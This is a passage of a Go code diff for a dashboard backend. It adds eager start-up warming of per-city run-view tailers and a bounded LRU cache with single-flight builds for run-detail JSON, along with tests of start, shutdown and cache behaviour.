+// CityRef is a registered city's name and on-disk root path, as reported by
+// CityResolver.Cities for eager tailer warm-up at Plane.Start.
+type CityRef struct {
+	Name string
+	Path string
+}
+
 // CityResolver resolves a managed city name to its on-disk root path. The
 // supervisor's city registry implements this; resolving the path from the
 // registry (instead of joining the untrusted name onto a base) keeps
 // city-name path traversal out of the host-side plane entirely.
 type CityResolver interface {
 	CityPath(name string) (path string, ok bool)
+	// Cities returns every registered city so Plane.Start can eager-warm each
+	// city's run-view fold at startup (instead of on the operator's first
+	// click). It may be empty (no cities registered yet); cities registered
+	// after Start keep the lazy per-city start on their first request.
+	Cities() []CityRef
 }
 
 // Deps are the collaborators the /api plane needs.
@@ -62,6 +74,7 @@ type Plane struct {
 	exec       *execRunner
 	mux        *http.ServeMux
 	samplers   *samplerManager
+	runTailers *runTailerManager
 	localTools *localToolsCache
 
 	wg   sync.WaitGroup
@@ -73,6 +86,7 @@ type Plane struct {
 func New(deps Deps) *Plane {
 	p := &Plane{deps: deps, exec: newExecRunner(), mux: http.NewServeMux(), localTools: &localToolsCache{}}
 	p.samplers = newSamplerManager(deps, p.exec)
+	p.runTailers = newRunTailerManager(deps)
 	p.registerRoutes()
 	return p
 }
@@ -82,12 +96,19 @@ func New(deps Deps) *Plane {
 // middleware (logging, recovery, request-id, host/CORS) via Handler().
 func (p *Plane) Handler() http.Handler { return p.guard(p.mux) }
 
-// Start enables the per-city samplers. Each city's sampler is launched lazily
-// on first request for that city's data (matching the BFF's lazy per-city
-// runtime) and runs until ctx is canceled or Stop is called.
+// Start enables the per-city samplers and eager-warms every registered city's
+// run-view fold. Each city's sampler is launched lazily on first request for
+// that city's data (matching the BFF's lazy per-city runtime); the run tailers,
+// by contrast, are eager-started here for all served cities so the first run
+// view (and the first after a supervisor restart) is a warm read rather than a
+// cold ~5s replay. eagerWarmTailers is non-blocking — it only spawns each fold
+// goroutine — so Start stays fast and never waits on any city's cold load.
+// Everything runs until ctx is canceled or Stop is called.
 func (p *Plane) Start(ctx context.Context) {
 	ctx, p.stop = context.WithCancel(ctx)
 	p.samplers.enable(ctx, &p.wg)
+	p.runTailers.enable(ctx, &p.wg)
+	p.eagerWarmTailers()
 }
 
 // Stop signals the samplers to halt and waits for them to drain.
@@ -178,6 +199,9 @@ func (p *Plane) registerRoutes() {
 	p.registerHealth()
 	p.registerRunDiff()
 	p.registerSamplers()
+	p.registerRunSummary()
+	p.registerRunDetail()
+	p.registerRunDetailStream()
 }
 
 // resolveCityPath validates a city name and resolves its host root path. It
@@ -201,6 +225,21 @@ func writeJSON(w http.ResponseWriter, status int, v any) {
 	_ = json.NewEncoder(w).Encode(v)
 }
 
+// writeJSONBytes writes pre-marshaled JSON with the same headers and status as
+// writeJSON, for a caller that already holds json.Marshal(v) (the run-detail memo
+// serving its cached bytes). It appends the single trailing newline
+// json.Encoder.Encode emits, so the response is byte-identical to
+// writeJSON(w, status, v) for the same value.
+func writeJSONBytes(w http.ResponseWriter, status int, body []byte) {
+	h := w.Header()
+	h.Set("Content-Type", "application/json; charset=utf-8")
+	h.Set("X-Content-Type-Options", "nosniff")
+	h.Set("X-Frame-Options", "DENY")
+	w.WriteHeader(status)
+	_, _ = w.Write(body)
+	_, _ = w.Write([]byte{'\n'})
+}
+
 // apiHealthResponse is the GET /api/health body. Typed (not map[string]any) so
 // every knowable wire shape on this non-typed plane is still a named struct;
 // the genuinely-dynamic supervisor-status pass-through (samplers.go) is the
diff --git a/internal/api/dashboardbff/rundetail_eager_test.go b/internal/api/dashboardbff/rundetail_eager_test.go
new file mode 100644
index 0000000000..21b1e66d96
--- /dev/null
+++ b/internal/api/dashboardbff/rundetail_eager_test.go
@@ -0,0 +1,310 @@
+package dashboardbff
+
+import (
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"os"
+	"path/filepath"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/beads"
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+// seedRunLog writes a minimal one-run event log under dir/.gc/events.jsonl and
+// returns dir (the city root the resolver reports). Used by the eager-warm tests
+// so each city has a foldable run at Start.
+func seedRunLog(t *testing.T, city string) string {
+	t.Helper()
+	dir := t.TempDir()
+	writeEventLog(t, cityEventsPath(dir), runMoleculeEvent(1, "run-"+city, "mol-adopt-pr-v2", "worker-1"))
+	return dir
+}
+
+// waitReady blocks until the tailer's cold replay completes, failing the test if
+// it does not within the deadline.
+func waitReady(t *testing.T, tl *cityRunTailer) {
+	t.Helper()
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatalf("cold replay for %q did not complete within deadline", tl.name)
+	}
+}
+
+// TestPlaneStartEagerWarmsAllCities proves the headline: Plane.Start eager-starts
+// the run-view fold for every registered city, so each tailer's cold replay
+// completes without any request touching the plane.
+func TestPlaneStartEagerWarmsAllCities(t *testing.T) {
+	alpha := seedRunLog(t, "alpha")
+	beta := seedRunLog(t, "beta")
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": alpha, "beta": beta}}})
+	p.Start(t.Context())
+	t.Cleanup(p.Stop)
+
+	// No GET has been issued. The tailers must nonetheless exist and warm on their
+	// own (the eager fold), proving Start started them rather than the lazy
+	// first-request path.
+	for _, name := range []string{"alpha", "beta"} {
+		p.runTailers.mu.Lock()
+		tl, ok := p.runTailers.cities[name]
+		p.runTailers.mu.Unlock()
+		if !ok {
+			t.Fatalf("city %q was not eager-started at Plane.Start", name)
+		}
+		waitReady(t, tl)
+	}
+}
+
+// TestPlaneStartEagerNilResolverNoop proves a nil resolver is a no-op: Start does
+// not panic and starts no tailers.
+func TestPlaneStartEagerNilResolverNoop(t *testing.T) {
+	p := New(Deps{})
+	p.Start(t.Context())
+	t.Cleanup(p.Stop)
+
+	p.runTailers.mu.Lock()
+	n := len(p.runTailers.cities)
+	p.runTailers.mu.Unlock()
+	if n != 0 {
+		t.Fatalf("nil resolver started %d tailers, want 0", n)
+	}
+}
+
+// TestPlaneStartEagerEmptyCitiesNoop proves an empty registry is a no-op.
+func TestPlaneStartEagerEmptyCitiesNoop(t *testing.T) {
+	p := New(Deps{Resolver: fakeResolver{cities: []CityRef{}}})
+	p.Start(t.Context())
+	t.Cleanup(p.Stop)
+
+	p.runTailers.mu.Lock()
+	n := len(p.runTailers.cities)
+	p.runTailers.mu.Unlock()
+	if n != 0 {
+		t.Fatalf("empty Cities() started %d tailers, want 0", n)
+	}
+}
+
+// TestPlaneStartDoesNotBlockOnColdLoad proves Start stays non-blocking: a city
+// whose event log is large enough that its cold replay takes hundreds of
+// milliseconds must not delay Start, which only spawns the fold goroutine. It
+// asserts the causal property (Start returns before the fold finishes) rather
+// than a wall-clock ceiling, so it cannot flake under scheduler contention.
+func TestPlaneStartDoesNotBlockOnColdLoad(t *testing.T) {
+	dir := t.TempDir()
+	writeLargeRunLog(t, cityEventsPath(dir), 20000)
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"big": dir}}})
+
+	p.Start(t.Context())
+	t.Cleanup(p.Stop)
+
+	// eagerWarmTailers runs synchronously inside Start, so the tailer is in the map
+	// the moment Start returns.
+	p.runTailers.mu.Lock()
+	tl := p.runTailers.cities["big"]
+	p.runTailers.mu.Unlock()
+	if tl == nil {
+		t.Fatal("big city was not eager-started")
+	}
+
+	// Causal non-blocking proof: Start only spawns the fold goroutine, so the cold
+	// replay of 20k events (measured ~290ms) is still running when Start returns —
+	// readyCh must not be closed yet. Asserting this instead of a wall-clock
+	// ceiling proves exactly the same thing (Start did not wait on the cold load)
+	// without depending on scheduler timing under the fleet's heavy parallelism.
+	select {
+	case <-tl.readyCh:
+		t.Fatal("Plane.Start returned only after the cold replay completed; it must not block on the fold")
+	default:
+	}
+
+	// And the fold still completes in the background — Start being fast did not
+	// skip the warm-up.
+	select {
+	case <-tl.readyCh:
+	case <-time.After(5 * time.Second):
+		t.Fatal("background cold replay did not complete")
+	}
+}
+
+// TestPlaneStartPrimesSessionsCache proves the secondary win: after a city's cold
+// replay completes, the tailer best-effort primes the per-city sessions cache
+// with exactly one upstream /sessions read — WITHOUT any detail() or summary GET.
+// A subsequent detail() then serves fully warm (no extra sessions hit within the
+// TTL).
+func TestPlaneStartPrimesSessionsCache(t *testing.T) {
+	var sessionsHits atomic.Int64
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if strings.HasSuffix(r.URL.Path, "/sessions") {
+			sessionsHits.Add(1)
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"items":[],"total":0}`))
+			return
+		}
+		w.WriteHeader(http.StatusNotFound)
+	}))
+	defer supervisor.Close()
+
+	dir := t.TempDir()
+	writeEventLog(t, cityEventsPath(dir),
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: supervisor.URL,
+	})
+	p.Start(t.Context())
+	t.Cleanup(p.Stop)
+
+	p.runTailers.mu.Lock()
+	tl := p.runTailers.cities["alpha"]
+	p.runTailers.mu.Unlock()
+	if tl == nil {
+		t.Fatal("alpha was not eager-started")
+	}
+	waitReady(t, tl)
+
+	// The prime runs right after readyCh closes; give the loop goroutine a moment
+	// to issue the one best-effort fetch.
+	deadline := time.Now().Add(2 * time.Second)
+	for sessionsHits.Load() == 0 && time.Now().Before(deadline) {
+		time.Sleep(10 * time.Millisecond)
+	}
+	if got := sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions upstream hits after cold-load = %d, want exactly 1 (best-effort prime, no request issued)", got)
+	}
+
+	// A detail() within the sessions TTL serves the primed cache: still exactly one
+	// upstream hit (the prime), no inline fetch.
+	if _, _, err := tl.detail(t.Context(), "run1"); err != nil {
+		t.Fatalf("detail after prime: %v", err)
+	}
+	if got := sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions upstream hits after a warm detail() = %d, want 1 (cache served from the prime)", got)
+	}
+}
+
+// TestPlaneStopDoesNotBlockOnWedgedSessionsPrime is the regression guard for the
+// startup sessions-prime pinning shutdown: the best-effort prime elects a
+// single-flight compute that detaches from the plane ctx (enrichment_cache.go)
+// and is bounded only by the HTTP client timeout, so a prime that waited on that
+// compute inside the plane waitgroup would keep Plane.Stop blocked for up to
+// runSessionsFetchTimeout on a wedged /sessions read — even though the prime is
+// optional. A /sessions handler that never responds stands in for the wedged
+// loopback; Stop must return promptly and let the detached fetch drain on its own.
+func TestPlaneStopDoesNotBlockOnWedgedSessionsPrime(t *testing.T) {
+	var sessionsHits atomic.Int64
+	release := make(chan struct{})
+	var releaseOnce sync.Once
+	unblock := func() { releaseOnce.Do(func() { close(release) }) }
+	defer unblock()
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if !strings.HasSuffix(r.URL.Path, "/sessions") {
+			w.WriteHeader(http.StatusNotFound)
+			return
+		}
+		sessionsHits.Add(1)
+		select {
+		case <-release:
+		case <-r.Context().Done():
+			return
+		}
+		w.Header().Set("Content-Type", "application/json")
+		_, _ = w.Write([]byte(`{"items":[],"total":0}`))
+	}))
+	defer supervisor.Close()
+
+	dir := t.TempDir()
+	writeEventLog(t, cityEventsPath(dir), runMoleculeEvent(1, "run1", "mol-adopt-pr-v2", "worker-1"))
+
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: supervisor.URL,
+	})
+	p.Start(t.Context())
+
+	p.runTailers.mu.Lock()
+	tl := p.runTailers.cities["alpha"]
+	p.runTailers.mu.Unlock()
+	if tl == nil {
+		t.Fatal("alpha was not eager-started")
+	}
+	waitReady(t, tl)
+
+	// Wait until the prime is genuinely in-flight and parked in the wedged
+	// /sessions read, so Stop races a stalled prime rather than one that already
+	// returned.
+	deadline := time.Now().Add(2 * time.Second)
+	for sessionsHits.Load() == 0 && time.Now().Before(deadline) {
+		time.Sleep(5 * time.Millisecond)
+	}
+	if got := sessionsHits.Load(); got != 1 {
+		t.Fatalf("sessions prime not in-flight after cold replay: hits=%d, want 1", got)
+	}
+
+	// Stop must not wait on the wedged prime. The /sessions read is never released,
+	// so a Stop that drained the prime inline would block for up to the 10s HTTP
+	// client timeout; the child-goroutine race must let Stop return promptly while
+	// the detached fetch drains on its own bounded deadline.
+	stopped := make(chan struct{})
+	go func() {
+		p.Stop()
+		close(stopped)
+	}()
+	select {
+	case <-stopped:
+	case <-time.After(2 * time.Second):
+		t.Fatal("Plane.Stop blocked on the wedged best-effort sessions prime; shutdown must not wait on the optional detached fetch")
+	}
+
+	// Release the wedged handler now that the Stop assertion has held. Otherwise
+	// the leaked child's /sessions read stays parked and the deferred
+	// supervisor.Close() blocks for the full HTTP client timeout draining it,
+	// adding ~10s of pure teardown plus an alarming httptest blocked-close warning.
+	unblock()
+}
+
+// writeLargeRunLog writes n run-molecule events to path so a cold replay is
+// measurably slow (for the non-blocking-Start proof).
+func writeLargeRunLog(t *testing.T, path string, n int) {
+	t.Helper()
+	if err := os.MkdirAll(filepath.Dir(path), 0o755); err != nil {
+		t.Fatalf("mkdir: %v", err)
+	}
+	f, err := os.Create(path)
+	if err != nil {
+		t.Fatalf("create log: %v", err)
+	}
+	defer f.Close() //nolint:errcheck
+	var b strings.Builder
+	for i := 0; i < n; i++ {
+		bead := beads.Bead{
+			ID:     "run1",
+			Title:  "mol-adopt-pr-v2",
+			Status: "open",
+			Type:   "molecule",
+			Metadata: map[string]string{
+				"gc.formula_contract": "graph.v2",
+				"gc.kind":             "run",
+				"gc.formula":          "mol-adopt-pr-v2",
+			},
+		}
+		payload, _ := json.Marshal(struct {
+			Bead beads.Bead `json:"bead"`
+		}{bead})
+		line, _ := json.Marshal(events.Event{Seq: uint64(i + 1), Type: events.BeadCreated, Payload: payload})
+		b.Write(line)
+		b.WriteByte('\n')
+	}
+	if _, err := f.WriteString(b.String()); err != nil {
+		t.Fatalf("write log: %v", err)
+	}
+}
diff --git a/internal/api/dashboardbff/rundetail_memo.go b/internal/api/dashboardbff/rundetail_memo.go
new file mode 100644
index 0000000000..219a76e8cf
--- /dev/null
+++ b/internal/api/dashboardbff/rundetail_memo.go
@@ -0,0 +1,208 @@
+package dashboardbff
+
+import (
+	"container/list"
+	"sync"
+
+	"github.com/gastownhall/gascity/internal/runproj"
+)
+
+// runDetailMemoCap bounds the per-tailer detail memo. It holds the actively
+// viewed runs of one city; a dashboard shows a handful of runs at a time, so a
+// small cap covers the working set while an unbounded map would pin every run
+// ever opened. A var (not a const) so a test can shrink it to force eviction.
+var runDetailMemoCap = 128
+
+// runDetailMemoKey identifies one built-and-marshaled run detail by everything
+// that determines its bytes. A change to ANY field yields a new key → a miss →
+// a rebuild, so invalidation is implicit (no explicit purge beyond LRU
+// eviction).
+//
+//   - runID + lastSeq pin the fold generation: lastSeq is the tailer's monotonic
+//     publish cursor, bumped on every build(), and the warm bead slice is
+//     published under the same lock as lastSeq, so equal lastSeq ⇒ equal beads.
+//   - sessionsVersion is the sessions cache entry's version (0 when sessions are
+//     unavailable, so an availability flip changes the key).
+//   - formulaVersion + formulaFailure pin the compiled-formula enrichment: the
+//     version identifies an available compiled detail (immutable per version),
+//     and the failure string distinguishes the unavailable arms (not_found vs
+//     upstream_error) that also change the built output.
+type runDetailMemoKey struct {
+	runID           string
+	lastSeq         uint64
+	sessionsVersion uint64
+	formulaVersion  uint64
+	formulaFailure  runproj.RunFormulaDetailFetchFailure
+}
+
+// runDetailMemoValue is the immutable-after-build memoized detail: the projected
+// DTO (returned to the detail() callers that need the struct) and its marshaled
+// JSON (served verbatim by the GET handler to skip a re-marshal). Neither is
+// mutated after store, so both are safe to share read-only across callers.
+type runDetailMemoValue struct {
+	detail runproj.FormulaRunDetail
+	bytes  []byte
+}
+
+// runDetailMemo is the per-tailer LRU of built run details keyed by fold
+// generation + enrichment versions.
+type runDetailMemo = lruSingleFlight[runDetailMemoKey, runDetailMemoValue]
+
+// newRunDetailMemo builds an empty detail memo bounded to runDetailMemoCap.
+func newRunDetailMemo() *runDetailMemo {
+	return newLRUSingleFlight[runDetailMemoKey, runDetailMemoValue](runDetailMemoCap)
+}
+
+// runSnapshotCacheCap bounds the per-tailer run-snapshot cache. Like the detail
+// memo it holds only the actively viewed runs' folded snapshots, so a small cap
+// covers the working set while an unbounded map would pin every run ever opened.
+// A var (not a const) so a test can shrink it to force eviction.
+var runSnapshotCacheCap = 128
+
+// runSnapshotCacheKey identifies one folded run snapshot by the run and its fold
+// generation. The snapshot — and the compiled-formula target derived from it —
+// are pure functions of the run's beads, and lastSeq pins those beads (equal
+// lastSeq ⇒ equal beads), so a new bead event (lastSeq++) is the only thing that
+// invalidates the entry.
+type runSnapshotCacheKey struct {
+	runID   string
+	lastSeq uint64
+}
+
+// runSnapshotCacheValue is the folded snapshot plus the compiled-formula target
+// resolved off it. Both are version/seq-independent, so detail() reuses them
+// across every same-generation request: a repeat GET at an unchanged lastSeq
+// pays no SnapshotForRun scan, only a new fold generation does. targetOK mirrors
+// FormulaTargetFromSnapshot's ok (false when the run is not a fetchable graph.v2
+// run, lacks a name+target, or has no valid scope). The stored value is
+// immutable after the fold, so callers share it read-only.
+type runSnapshotCacheValue struct {
+	snap      runproj.RunSnapshot
+	name      string
+	target    string
+	scopeKind string
+	scopeRef  string
+	targetOK  bool
+}
+
+// runSnapshotCache is the per-tailer LRU of folded run snapshots keyed by fold
+// generation.
+type runSnapshotCache = lruSingleFlight[runSnapshotCacheKey, runSnapshotCacheValue]
+
+// newRunSnapshotCache builds an empty snapshot cache bounded to runSnapshotCacheCap.
+func newRunSnapshotCache() *runSnapshotCache {
+	return newLRUSingleFlight[runSnapshotCacheKey, runSnapshotCacheValue](runSnapshotCacheCap)
+}
+
+// lruSingleFlight is a small bounded LRU with single-flight: concurrent misses
+// for the same key build exactly once. It is safe under -race: the mutex guards
+// the map, the eviction list, and the in-flight table, and is NEVER held across
+// the build that produces a value (the samplers.go contract). Stored values are
+// immutable, so a reader shares one without copying. A build error is NOT cached
+// (the next caller re-elects and retries), and a build PANIC likewise stores
+// nothing — so a transient failure or a panicking build never pins a key with a
+// bogus (zero) value.
+type lruSingleFlight[K comparable, V any] struct {
+	mu       sync.Mutex
+	cap      int
+	entries  map[K]*list.Element
+	lru      *list.List // front = most recently used
+	inflight map[K]chan struct{}
+}
+
+// lruEntry is one LRU node: the key (so eviction can delete the map entry) and
+// the shared value.
+type lruEntry[K comparable, V any] struct {
+	key   K
+	value V
+}
+
+// newLRUSingleFlight builds an empty cache bounded to capacity entries.
+func newLRUSingleFlight[K comparable, V any](capacity int) *lruSingleFlight[K, V] {
+	return &lruSingleFlight[K, V]{
+		cap:      capacity,
+		entries:  make(map[K]*list.Element),
+		lru:      list.New(),
+		inflight: make(map[K]chan struct{}),
+	}
+}
+
+// getOrBuild returns the cached value for key, building it via build on a miss.
+// Concurrent callers for the same key collapse onto one build: the elected
+// caller runs build with NO lock held (the samplers.go contract); joiners wait
+// and then re-read the now-stored value. build runs at most once per key per
+// miss; a build error is NOT cached (the next caller re-elects), so a transient
+// failure never pins a key.
+func (m *lruSingleFlight[K, V]) getOrBuild(key K, build func() (V, error)) (V, error) {
+	for {
+		m.mu.Lock()
+		if el, ok := m.entries[key]; ok {
+			m.lru.MoveToFront(el)
+			v := el.Value.(*lruEntry[K, V]).value
+			m.mu.Unlock()
+			return v, nil
+		}
+		if wait, building := m.inflight[key]; building {
+			m.mu.Unlock()
+			<-wait
+			// Re-loop: read the value the builder stored, or re-elect if the build
+			// failed (or panicked) and left no entry.
+			continue
+		}
+		// We are the elected builder for this key.
+		done := make(chan struct{})
+		m.inflight[key] = done
+		m.mu.Unlock()
+
+		var (
+			value     V
+			buildErr  error
+			completed bool
+		)
+		func() {
+			// Release the in-flight handshake on every exit — including a build
+			// panic — so a panicking build never orphans the channel and wedges
+			// every future caller for this key. Store ONLY after build() returned
+			// normally without error: a panic unwinds through build() without ever
+			// assigning buildErr (it stays nil) or reaching completed=true, so
+			// gating the store on buildErr alone would cache the zero value and
+			// later callers would serve it as a valid result. completed stays false
+			// on a panic, so nothing is stored, the next caller re-elects, and the
+			// recovery middleware turns the panic into a 500.
+			defer func() {
+				m.mu.Lock()
+				if completed && buildErr == nil {
+					m.storeLocked(key, value)
+				}
+				delete(m.inflight, key)
+				m.mu.Unlock()
+				close(done)
+			}()
+			value, buildErr = build()
+			completed = true
+		}()
+		if buildErr != nil {
+			var zero V
+			return zero, buildErr
+		}
+		return value, nil
+	}
+}
+
+// storeLocked inserts value under key as most-recently-used and evicts the
+// least-recently-used entry when the cap is exceeded. The caller holds m.mu.
+func (m *lruSingleFlight[K, V]) storeLocked(key K, value V) {
+	if el, ok := m.entries[key]; ok {
+		el.Value.(*lruEntry[K, V]).value = value
+		m.lru.MoveToFront(el)
+		return
+	}
+	el := m.lru.PushFront(&lruEntry[K, V]{key: key, value: value})
+	m.entries[key] = el
+	if m.cap > 0 && m.lru.Len() > m.cap {
+		if oldest := m.lru.Back(); oldest != nil {
+			m.lru.Remove(oldest)
+			delete(m.entries, oldest.Value.(*lruEntry[K, V]).key)
+		}
+	}
+}
diff --git a/internal/api/dashboardbff/rundetail_memo_test.go b/internal/api/dashboardbff/rundetail_memo_test.go
new file mode 100644
index 0000000000..4a2bc348ba
--- /dev/null
+++ b/internal/api/dashboardbff/rundetail_memo_test.go
@@ -0,0 +1,425 @@
+package dashboardbff
+
+import (
+	"bytes"
+	"context"
+	"encoding/json"
+	"net/http"
+	"net/http/httptest"
+	"path/filepath"
+	"strings"
+	"sync"
+	"sync/atomic"
+	"testing"
+	"time"
+
+	"github.com/gastownhall/gascity/internal/events"
+)
+
+// warmRunTailer builds a plane over a temp event log for the "alpha" city,
+// starts it, and blocks until the run's detail is servable (the cold replay has
+// folded the root). It returns the plane and the city's tailer so a test can
+// drive detail() directly.
+func warmRunTailer(t *testing.T, evts ...events.Event) (*Plane, *cityRunTailer) {
+	t.Helper()
+	const city = "alpha"
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, evts...)
+
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{city: dir}}})
+	p.Start(t.Context())
+	t.Cleanup(p.Stop)
+
+	tl, ok := p.cityRunTailer(city)
+	if !ok {
+		t.Fatalf("cityRunTailer(%q) not found", city)
+	}
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatal("cold replay did not complete")
+	}
+	return p, tl
+}
+
+// TestRunDetailMemoBuildsOncePerGeneration proves two detail() calls at the same
+// fold generation build exactly once (the second is served from the memo) and
+// return byte-identical results.
+func TestRunDetailMemoBuildsOncePerGeneration(t *testing.T) {
+	_, tl := warmRunTailer(t,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	ctx := context.Background()
+
+	before := detailBuildCount.Load()
+	v1, ready1, err1 := tl.detail(ctx, "run1")
+	if err1 != nil || !ready1 {
+		t.Fatalf("first detail: err=%v ready=%v", err1, ready1)
+	}
+	v2, ready2, err2 := tl.detail(ctx, "run1")
+	if err2 != nil || !ready2 {
+		t.Fatalf("second detail: err=%v ready=%v", err2, ready2)
+	}
+
+	if builds := detailBuildCount.Load() - before; builds != 1 {
+		t.Fatalf("builds = %d across two same-generation detail() calls, want 1", builds)
+	}
+	if !bytes.Equal(v1.bytes, v2.bytes) {
+		t.Fatalf("memoized bytes differ across two same-generation calls:\n%s\nvs\n%s", v1.bytes, v2.bytes)
+	}
+	if len(v1.bytes) == 0 {
+		t.Fatal("memoized bytes are empty")
+	}
+}
+
+// TestRunDetailMemoRebuildsOnNewFoldGeneration proves appending a bead event
+// (which advances lastSeq) yields a new memo key → a rebuild.
+func TestRunDetailMemoRebuildsOnNewFoldGeneration(t *testing.T) {
+	defer func(prev time.Duration) { runTailPollInterval = prev }(runTailPollInterval)
+	runTailPollInterval = 15 * time.Millisecond
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	p := New(Deps{Resolver: fakeResolver{paths: map[string]string{"alpha": dir}}})
+	p.Start(t.Context())
+	defer p.Stop()
+	tl, _ := p.cityRunTailer("alpha")
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatal("cold replay did not complete")
+	}
+	ctx := context.Background()
+
+	before := detailBuildCount.Load()
+	if _, _, err := tl.detail(ctx, "run1"); err != nil {
+		t.Fatalf("first detail: %v", err)
+	}
+	seqBefore := currentLastSeq(tl)
+
+	// Append a new step event; the tail folds it and bumps lastSeq.
+	appendEvents(t, logPath, runDetailStepEvent(3, "run1.2", "run1", "rebase-check", "open"))
+	waitForLastSeqAbove(t, tl, seqBefore)
+
+	if _, _, err := tl.detail(ctx, "run1"); err != nil {
+		t.Fatalf("second detail after append: %v", err)
+	}
+	if builds := detailBuildCount.Load() - before; builds != 2 {
+		t.Fatalf("builds = %d, want 2 (a new fold generation must rebuild)", builds)
+	}
+}
+
+// TestRunDetailMemoRebuildsOnSessionsVersionBump proves a sessions-cache refresh
+// (a bumped version) alone rebuilds the detail, even at the same fold
+// generation. The supervisor sessions endpoint is stable, so only the version
+// changes across the TTL boundary.
+func TestRunDetailMemoRebuildsOnSessionsVersionBump(t *testing.T) {
+	defer func(prev time.Duration) { sessionsCacheTTL = prev }(sessionsCacheTTL)
+	sessionsCacheTTL = 20 * time.Millisecond
+
+	var sessionsHits atomic.Int64
+	supervisor := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {
+		if strings.HasSuffix(r.URL.Path, "/sessions") {
+			sessionsHits.Add(1)
+			w.Header().Set("Content-Type", "application/json")
+			_, _ = w.Write([]byte(`{"items":[],"total":0}`))
+			return
+		}
+		w.WriteHeader(http.StatusNotFound)
+	}))
+	defer supervisor.Close()
+
+	dir := t.TempDir()
+	logPath := filepath.Join(dir, ".gc", "events.jsonl")
+	writeEventLog(t, logPath, runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"))
+	p := New(Deps{
+		Resolver:          fakeResolver{paths: map[string]string{"alpha": dir}},
+		SupervisorBaseURL: supervisor.URL,
+	})
+	p.Start(t.Context())
+	defer p.Stop()
+	tl, _ := p.cityRunTailer("alpha")
+	select {
+	case <-tl.readyCh:
+	case <-time.After(2 * time.Second):
+		t.Fatal("cold replay did not complete")
+	}
+	ctx := context.Background()
+
+	before := detailBuildCount.Load()
+	if _, _, err := tl.detail(ctx, "run1"); err != nil {
+		t.Fatalf("first detail: %v", err)
+	}
+	// Let the sessions cache TTL lapse so the next detail() refetches and bumps
+	// the sessions version, changing the memo key even though the fold is
+	// unchanged.
+	time.Sleep(40 * time.Millisecond)
+	if _, _, err := tl.detail(ctx, "run1"); err != nil {
+		t.Fatalf("second detail: %v", err)
+	}
+	if builds := detailBuildCount.Load() - before; builds != 2 {
+		t.Fatalf("builds = %d, want 2 (a sessions-version bump must rebuild)", builds)
+	}
+}
+
+// TestRunDetailServedBytesEqualFreshMarshal proves the served HTTP body equals a
+// fresh json.Marshal(detail) of the memoized DTO plus the single trailing
+// newline the JSON encoder emits — i.e. writeJSONBytes is byte-identical to the
+// old writeJSON(w, detail) path.
+func TestRunDetailServedBytesEqualFreshMarshal(t *testing.T) {
+	p, tl := warmRunTailer(t,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+
+	// The memoized value carries both the DTO and its bytes.
+	value, ready, err := tl.detail(context.Background(), "run1")
+	if err != nil || !ready {
+		t.Fatalf("detail: err=%v ready=%v", err, ready)
+	}
+	fresh, err := json.Marshal(value.detail)
+	if err != nil {
+		t.Fatalf("marshal detail: %v", err)
+	}
+	if !bytes.Equal(value.bytes, fresh) {
+		t.Fatalf("memoized bytes != fresh json.Marshal(detail):\n%s\nvs\n%s", value.bytes, fresh)
+	}
+
+	// The served HTTP body is the memoized bytes + one trailing newline (the
+	// encoder's), matching the pre-memo writeJSON path byte-for-byte.
+	rec := getRunDetailRaw(t, p, "alpha", "run1")
+	if rec.Code != http.StatusOK {
+		t.Fatalf("status = %d, want 200; body=%s", rec.Code, rec.Body.String())
+	}
+	want := append(append([]byte{}, fresh...), '\n')
+	if !bytes.Equal(rec.Body.Bytes(), want) {
+		t.Fatalf("served body != json.Marshal(detail)+\"\\n\":\n%q\nvs\n%q", rec.Body.Bytes(), want)
+	}
+}
+
+// TestRunDetailMemoConcurrentSingleBuild proves N concurrent detail() calls for
+// the same run at the same generation build exactly once (single-flight) and all
+// return byte-identical results. Run under -race, it also proves the memo is
+// race-clean.
+func TestRunDetailMemoConcurrentSingleBuild(t *testing.T) {
+	_, tl := warmRunTailer(t,
+		runDetailRootEvent(),
+		runDetailStepEvent(2, "run1.1", "run1", "preflight", "in_progress"),
+	)
+	ctx := context.Background()
+
+	before := detailBuildCount.Load()
+	const n = 12
+	var wg sync.WaitGroup
+	results := make([][]byte, n)
+	errs := make([]error, n)
+	wg.Add(n)
+	for i := 0; i < n; i++ {
+		go func(i int) {
+			defer wg.Done()
+			v, _, err := tl.detail(ctx, "run1")
+			results[i], errs[i] = v.bytes, err
+		}(i)
+	}
+	wg.Wait()
+
+	for i := range errs {
+		if errs[i] != nil {
+			t.Fatalf("concurrent detail[%d]: %v", i, errs[i])
+		}
+	}
